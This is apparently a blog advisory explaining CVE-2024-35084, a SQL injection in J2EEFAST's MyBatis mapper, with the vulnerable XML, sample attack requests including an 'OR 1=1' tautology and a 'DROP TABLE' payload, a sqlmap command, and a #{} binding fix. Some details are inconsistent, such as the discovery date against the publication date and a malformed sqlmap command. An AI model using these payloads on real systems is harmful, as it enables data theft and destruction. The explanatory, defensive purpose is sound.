In early June 2024, security researchers detected a critical SQL injection vulnerability in J2EEFAST version 2.7.. Registered as CVE-2024-35084, this flaw lets attackers execute malicious SQL statements via a parameter in the findPage function defined inside the SysMsgPushMapper.xml file. This post will walk you through what this means, where the vulnerability lies, how it can be exploited, and simple steps for protecting your data.

What Is J2EEFAST and Why Is This Important?

J2EEFAST is an open-source platform for building enterprise information management systems. Many organizations use it for workflow automation, messaging, and resource management. Because it can carry sensitive data, security bugs in the codebase can have broad impact.

SQL injection is one of the oldest and most dangerous vulnerabilities for web applications. It tricks the database into running unintended commands by inserting malicious code into input fields or parameters.

The vulnerable code is in SysMsgPushMapper.xml, as shown below

<!-- Vulnerable MyBatis mapper XML -->
<select id="findPage" resultMap="SysMsgPushResultMap">
  SELECT * FROM sys_msg_push
  WHERE 1=1
  <if test="params != null and params != ''">
    AND ${params}
  </if>
</select>

What’s Wrong Here?

Notice that the expression AND ${params} (using ${}) directly puts user-supplied data into the SQL statement. MyBatis provides ${} for string substitution _without escaping or sanitizing_. If an attacker controls the params input, they can inject arbitrary SQL, such as "1=1; DROP TABLE sys_msg_push;".

Let’s walk through a simple exploit scenario.

Suppose a website endpoint calls findPage and allows a query parameter like params=1=1. A normal request looks like:

GET /sysMsgPush/findPage?params=status='ACTIVE'

The backend produces a safe SQL query

SELECT * FROM sys_msg_push WHERE 1=1 AND status='ACTIVE'

But a malicious actor can send

GET /sysMsgPush/findPage?params=1=1 OR 1=1 --

Resulting SQL

SELECT * FROM sys_msg_push WHERE 1=1 AND 1=1 OR 1=1 --

OR 1=1 always evaluates true, so all records are returned. The attacker could also inject payloads like:

GET /sysMsgPush/findPage?params=1=1; DROP TABLE sys_msg_push; --

Depending on permissions, this could destroy important data.

Let’s simulate an attack using the open-source tool sqlmap

sqlmap -u "http://target-site/sysMsgPush/findPage?params=STATUS='TEST'"; --batch --dbms=mysql

sqlmap will test the params parameter, detect the injection point, and extract data, such as user tables and credentials.

Original References

- Official CVE record
- J2EEFAST Gitee Repository
- MyBatis official documentation on parameter usage
- OWASP SQL Injection Guide

How to Fix

The solution is _never_ to use ${} for any user-supplied input in MyBatis. Change the mapper file to use safe parameter binding via #{}:

<select id="findPage" resultMap="SysMsgPushResultMap">
  SELECT * FROM sys_msg_push
  WHERE 1=1
  <if test="params != null and params != ''">
    AND status = #{params}
  </if>
</select>

This way, MyBatis safely escapes the value of params, preventing injection.

Conclusion

CVE-2024-35084 serves as a strong reminder: never trust user input, especially in dynamic SQL contexts. For those running J2EEFAST v2.7., update immediately or review your mapper XML files to eliminate uses of ${} with user-controllable data.

If you're serious about securing your web applications, learn more from OWASP's SQL Injection guide and watch for updates on NVD’s CVE-2024-35084 page!

Timeline

Published on: 05/23/2024 17:15:30 UTC
Last modified on: 07/03/2024 02:01:21 UTC